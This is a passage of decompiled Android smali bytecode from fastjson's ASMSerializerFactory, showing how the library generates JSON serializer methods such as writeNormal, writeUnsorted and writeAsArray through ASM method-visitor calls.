                                                376invoke-interface {v1, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                377const/16 v13, 0xb8
                                                378const-class v15, Lcom/alibaba/fastjson/util/ASMUtils;
                                                380invoke-static {v15}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                381move-result-object v15
                                                383const-string v11, "getMethodType"
                                                384move-object/from16 v16, v4
                                                386const-string v4, "(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Type;"
                                                388invoke-interface {v1, v13, v15, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                389goto/16 :goto_233
                                                390cond_21b: move-object/from16 v16, v4
                                                391const/4 v4, 0x0
                                                393invoke-interface {v1, v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                395invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                396move-result-object v4
                                                398invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                399const/16 v4, 0xb7
                                                401sget-object v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                403const-string v13, "getFieldType"
                                                405const-string v15, "(I)Ljava/lang/reflect/Type;"
                                                407invoke-interface {v1, v4, v11, v13, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                408goto_233: const/16 v4, 0xb5
                                                409new-instance v11, Ljava/lang/StringBuilder;
                                                411invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                413iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                415invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                417const-string v3, "_asm_fieldType"
                                                419invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                421invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                422move-result-object v3
                                                424const-string v11, "Ljava/lang/reflect/Type;"
                                                426invoke-interface {v1, v4, v6, v3, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                427goto/16 :goto_250
                                                428goto_24e: move-object/from16 v16, v4
                                                429goto_250: add-int/lit8 v2, v2, 0x1
                                                430move-object/from16 v4, v16
                                                431const/16 v11, 0x19
                                                432goto/16 :goto_1cf
                                                433cond_258: move-object/from16 v16, v4
                                                434const/16 v11, 0xb1
                                                436invoke-interface {v1, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                437const/4 v13, 0x4
                                                439invoke-interface {v1, v13, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                441invoke-interface {v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                442if-eqz v9, :cond_27c
                                                444invoke-interface {v9}, Lcom/alibaba/fastjson/annotation/JSONType;->serialzeFeatures()[Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                445move-result-object v1
                                                446array-length v2, v1
                                                447const/4 v3, 0x0
                                                448goto_26e: if-ge v3, v2, :cond_27c
                                                449aget-object v4, v1, v3
                                                451sget-object v15, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                452if-ne v4, v15, :cond_279
                                                453const/16 v22, 0x1
                                                454goto/16 :goto_27e
                                                455cond_279: add-int/lit8 v3, v3, 0x1
                                                456goto/16 :goto_26e
                                                457cond_27c: const/16 v22, 0x0
                                                458goto_27e: const/4 v15, 0x0
                                                459goto_27f: const/16 v4, 0xc0
                                                460const/16 v3, 0xb4
                                                462const-string v23, "java/io/IOException"
                                                463const/4 v2, 0x3
                                                465const-string v11, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                467const-string v13, "(L"
                                                469const-string v7, "out"
                                                470move-object/from16 v25, v10
                                                471if-ge v15, v2, :cond_4a7
                                                472if-nez v15, :cond_29b
                                                474const-string v17, "write"
                                                475move-object/from16 v19, v17
                                                476move/from16 v26, v22
                                                477const/16 v17, 0x1
                                                478goto/16 :goto_2af
                                                479cond_29b: const/4 v1, 0x1
                                                480if-ne v15, v1, :cond_2a7
                                                482const-string v1, "writeNormal"
                                                483move-object/from16 v19, v1
                                                484move/from16 v26, v22
                                                485const/16 v17, 0x0
                                                486goto/16 :goto_2af
                                                487cond_2a7:
                                                488const-string v1, "writeDirectNonContext"
                                                489move-object/from16 v19, v1
                                                490const/16 v17, 0x1
                                                491const/16 v26, 0x1
                                                492goto_2af: new-instance v1, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;
                                                493move-object/from16 v27, v1
                                                494const/16 v10, 0x3a
                                                495move-object v2, v12
                                                496const/16 v10, 0xb4
                                                497move-object/from16 v3, p1
                                                498move-object/from16 v28, v16
                                                499move-object v4, v6
                                                500move-object/from16 v29, v5
                                                501move/from16 v5, v17
                                                502move-object/from16 v30, v6
                                                503move/from16 v6, v26
                                                505invoke-direct/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;-><init>([Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;Ljava/lang/String;ZZ)V
                                                506new-instance v1, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                507const/16 v17, 0x1
                                                508new-instance v2, Ljava/lang/StringBuilder;
                                                510invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                512invoke-virtual {v2, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                514sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                516invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                518invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                520invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                521move-result-object v2
                                                522const/16 v20, 0x0
                                                523const/4 v3, 0x1
                                                524new-array v4, v3, [Ljava/lang/String;
                                                525const/4 v5, 0x0
                                                526aput-object v23, v4, v5
                                                527move v5, v15
                                                528move-object v15, v1
                                                529move-object/from16 v18, v19
                                                530move-object/from16 v19, v2
                                                531move-object/from16 v21, v4
                                                533invoke-direct/range {v15 .. v21}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                534const/16 v2, 0x19
                                                536invoke-interface {v1, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                538sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                540sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter_desc:Ljava/lang/String;
                                                542invoke-interface {v1, v10, v2, v7, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                543move-object/from16 v2, v27
                                                545invoke-virtual {v2, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                546move-result v3
                                                547const/16 v4, 0x3a
                                                549invoke-interface {v1, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                550const/16 v3, 0xb6
                                                551if-nez v14, :cond_378
                                                553invoke-static {v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                554move-result v4
                                                555if-nez v4, :cond_378
                                                556if-eqz v9, :cond_31c
                                                558invoke-interface {v9}, Lcom/alibaba/fastjson/annotation/JSONType;->alphabetic()Z
                                                559move-result v4
                                                560if-eqz v4, :cond_378
                                                561cond_31c: new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                563invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                565invoke-virtual {v2, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                566move-result v6
                                                567const/16 v10, 0x19
                                                569invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                571sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                573const-string v15, "isSortField"
                                                575const-string v10, "()Z"
                                                577invoke-interface {v1, v3, v6, v15, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                578const/16 v6, 0x9a
                                                580invoke-interface {v1, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                581const/4 v6, 0x0
                                                582const/16 v10, 0x19
                                                584invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                585const/4 v6, 0x1
                                                587invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                588const/4 v6, 0x2
                                                590invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                591const/4 v15, 0x3
                                                593invoke-interface {v1, v10, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                594const/4 v6, 0x4
                                                596invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                597const/16 v6, 0x15
                                                598const/4 v10, 0x5
                                                600invoke-interface {v1, v6, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                601new-instance v6, Ljava/lang/StringBuilder;
                                                603invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                605invoke-virtual {v6, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                607sget-object v10, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                609invoke-virtual {v6, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                611invoke-virtual {v6, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                613invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                614move-result-object v6
                                                616const-string v10, "writeUnsorted"
                                                617move-object/from16 v15, v30
                                                619invoke-interface {v1, v3, v15, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                620const/16 v6, 0xb1
                                                622invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                624invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                625goto/16 :goto_37a
                                                626cond_378: move-object/from16 v15, v30
                                                627goto_37a:
                                                628invoke-static {v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                629move-result v4
                                                630if-eqz v4, :cond_45f
                                                631if-nez v26, :cond_45f
                                                632new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                634invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                635new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                637invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                638const/16 v3, 0x19
                                                639const/4 v10, 0x0
                                                641invoke-interface {v1, v3, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                642const/4 v10, 0x1
                                                644invoke-interface {v1, v3, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                646sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                647new-instance v10, Ljava/lang/StringBuilder;
                                                649invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                                651invoke-virtual {v10, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                652move-object/from16 v17, v9
                                                654sget-object v9, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                656invoke-virtual {v10, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                658const-string v9, ";)Z"
                                                660invoke-virtual {v10, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                662invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                663move-result-object v9
                                                665const-string v10, "writeDirect"
                                                666move/from16 v18, v14
                                                667const/16 v14, 0xb6
                                                669invoke-interface {v1, v14, v3, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                670const/16 v3, 0x9a
                                                672invoke-interface {v1, v3, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                673const/4 v3, 0x0
                                                674const/16 v9, 0x19
                                                676invoke-interface {v1, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                677const/4 v3, 0x1
                                                679invoke-interface {v1, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                680const/4 v3, 0x2
                                                682invoke-interface {v1, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                683const/4 v3, 0x3
                                                685invoke-interface {v1, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                686const/4 v3, 0x4
                                                688invoke-interface {v1, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                689const/16 v3, 0x15
                                                690const/4 v9, 0x5
                                                692invoke-interface {v1, v3, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                693new-instance v3, Ljava/lang/StringBuilder;
                                                695invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                697invoke-virtual {v3, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                699sget-object v9, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                701invoke-virtual {v3, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                703invoke-virtual {v3, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                705invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                706move-result-object v3
                                                708const-string v9, "writeNormal"
                                                709const/16 v10, 0xb6
                                                711invoke-interface {v1, v10, v15, v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                712const/16 v3, 0xb1
                                                714invoke-interface {v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                716invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                718invoke-virtual {v2, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                719move-result v3
                                                720const/16 v6, 0x19
                                                722invoke-interface {v1, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                724sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->DisableCircularReferenceDetect:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                725iget v3, v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                727invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                728move-result-object v3
                                                730invoke-interface {v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                732sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                734const-string v7, "isEnabled"
                                                736const-string v9, "(I)Z"
                                                737const/16 v10, 0xb6
                                                739invoke-interface {v1, v10, v3, v7, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                740const/16 v3, 0x99
                                                742invoke-interface {v1, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                743const/4 v3, 0x0
                                                745invoke-interface {v1, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                746const/4 v3, 0x1
                                                748invoke-interface {v1, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                749const/4 v3, 0x2
                                                751invoke-interface {v1, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                752const/4 v9, 0x3
                                                754invoke-interface {v1, v6, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                755const/4 v3, 0x4
                                                757invoke-interface {v1, v6, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                758const/16 v6, 0x15
                                                759const/4 v7, 0x5
                                                761invoke-interface {v1, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                762new-instance v6, Ljava/lang/StringBuilder;
                                                764invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                766invoke-virtual {v6, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                768sget-object v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                770invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                772invoke-virtual {v6, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                774invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                775move-result-object v6
                                                777const-string v7, "writeDirectNonContext"
                                                778const/16 v9, 0xb6
                                                780invoke-interface {v1, v9, v15, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                781const/16 v6, 0xb1
                                                783invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                785invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                786goto/16 :goto_464
                                                787cond_45f: move-object/from16 v17, v9
                                                788move/from16 v18, v14
                                                789const/4 v3, 0x4
                                                790goto_464: const/4 v4, 0x2
                                                791const/16 v6, 0x19
                                                793invoke-interface {v1, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                795invoke-static {v8}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                796move-result-object v6
                                                797const/16 v14, 0xc0
                                                799invoke-interface {v1, v14, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                801const-string v6, "entity"
                                                803invoke-virtual {v2, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                804move-result v6
                                                805const/16 v7, 0x3a
                                                807invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                809invoke-direct {v0, v8, v1, v12, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->generateWriteMethod(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;[Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                810const/16 v6, 0xb1
                                                812invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                813const/4 v6, 0x7
                                                815invoke-static {v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$100(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)I
                                                816move-result v2
                                                817add-int/2addr v2, v4
                                                819invoke-interface {v1, v6, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                821invoke-interface {v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                822add-int/lit8 v1, v5, 0x1
                                                823move-object/from16 v7, p1
                                                824move-object v6, v15
                                                825move-object/from16 v9, v17
                                                826move/from16 v14, v18
                                                827move-object/from16 v10, v25
                                                828move-object/from16 v16, v28
                                                829move-object/from16 v5, v29
                                                830const/16 v11, 0xb1
                                                831const/4 v13, 0x4
                                                832move v15, v1
                                                833goto/16 :goto_27f
                                                834cond_4a7: move-object/from16 v29, v5
                                                835move-object v15, v6
                                                836move/from16 v18, v14
                                                837move-object/from16 v28, v16
                                                838const/4 v9, 0x3
                                                839const/16 v10, 0xb4
                                                840const/16 v14, 0xc0
                                                841if-nez v18, :cond_530
                                                842new-instance v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;
                                                843const/4 v5, 0x0
                                                844move-object v1, v6
                                                845move-object v2, v12
                                                846move-object/from16 v3, p1
                                                847move-object v4, v15
                                                848move-object v9, v6
                                                849move/from16 v6, v22
                                                851invoke-direct/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;-><init>([Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;Ljava/lang/String;ZZ)V
                                                852new-instance v1, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                853const/16 v17, 0x1
                                                854new-instance v2, Ljava/lang/StringBuilder;
                                                856invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                858invoke-virtual {v2, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                860sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                862invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                864invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                866invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                867move-result-object v19
                                                868const/16 v20, 0x0
                                                869const/4 v2, 0x1
                                                870new-array v3, v2, [Ljava/lang/String;
                                                871const/4 v4, 0x0
                                                872aput-object v23, v3, v4
                                                874const-string v18, "writeUnsorted"
                                                875move-object/from16 v24, v15
                                                876const/4 v6, 0x3
                                                877move-object v15, v1
                                                878move-object/from16 v16, v28
                                                879move-object/from16 v21, v3
                                                881invoke-direct/range {v15 .. v21}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                882const/16 v3, 0x19
                                                884invoke-interface {v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                886sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                888sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter_desc:Ljava/lang/String;
                                                890invoke-interface {v1, v10, v2, v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                892invoke-virtual {v9, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                893move-result v2
                                                894const/16 v4, 0x3a
                                                896invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                897const/4 v2, 0x2
                                                899invoke-interface {v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                901invoke-static {v8}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                902move-result-object v3
                                                904invoke-interface {v1, v14, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                906const-string v3, "entity"
                                                908invoke-virtual {v9, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                909move-result v3
                                                911invoke-interface {v1, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                912move-object/from16 v3, v25
                                                914invoke-direct {v0, v8, v1, v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->generateWriteMethod(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;[Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                915const/16 v3, 0xb1
                                                917invoke-interface {v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                918const/4 v3, 0x7
                                                920invoke-static {v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$100(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)I
                                                921move-result v4
                                                922add-int/2addr v4, v2
                                                924invoke-interface {v1, v3, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                926invoke-interface {v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                927goto/16 :goto_533
                                                928cond_530: move-object/from16 v24, v15
                                                929const/4 v6, 0x3
                                                930goto_533: const/4 v9, 0x0
                                                931goto_534: if-ge v9, v6, :cond_5ce
                                                932if-nez v9, :cond_540
                                                934const-string v1, "writeAsArray"
                                                935move-object/from16 v18, v1
                                                936move/from16 v15, v22
                                                937const/4 v5, 0x1
                                                938goto/16 :goto_551
                                                939cond_540: const/4 v1, 0x1
                                                940if-ne v9, v1, :cond_54b
                                                942const-string v1, "writeAsArrayNormal"
                                                943move-object/from16 v18, v1
                                                944move/from16 v15, v22
                                                945const/4 v5, 0x0
                                                946goto/16 :goto_551
                                                947cond_54b:
                                                948const-string v1, "writeAsArrayNonContext"
                                                949move-object/from16 v18, v1
                                                950const/4 v5, 0x1
                                                951const/4 v15, 0x1
                                                952goto_551: new-instance v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;
                                                953move-object v1, v4
                                                954move-object v2, v12
                                                955move-object/from16 v3, p1
                                                956move-object v14, v4
                                                957move-object/from16 v4, v24
                                                958const/16 v25, 0x3
                                                959move v6, v15
                                                961invoke-direct/range {v1 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;-><init>([Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;Ljava/lang/String;ZZ)V
                                                962new-instance v1, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                963const/16 v17, 0x1
                                                964new-instance v2, Ljava/lang/StringBuilder;
                                                966invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                968invoke-virtual {v2, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                970sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                972invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                974invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                976invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                977move-result-object v19
                                                978const/16 v20, 0x0
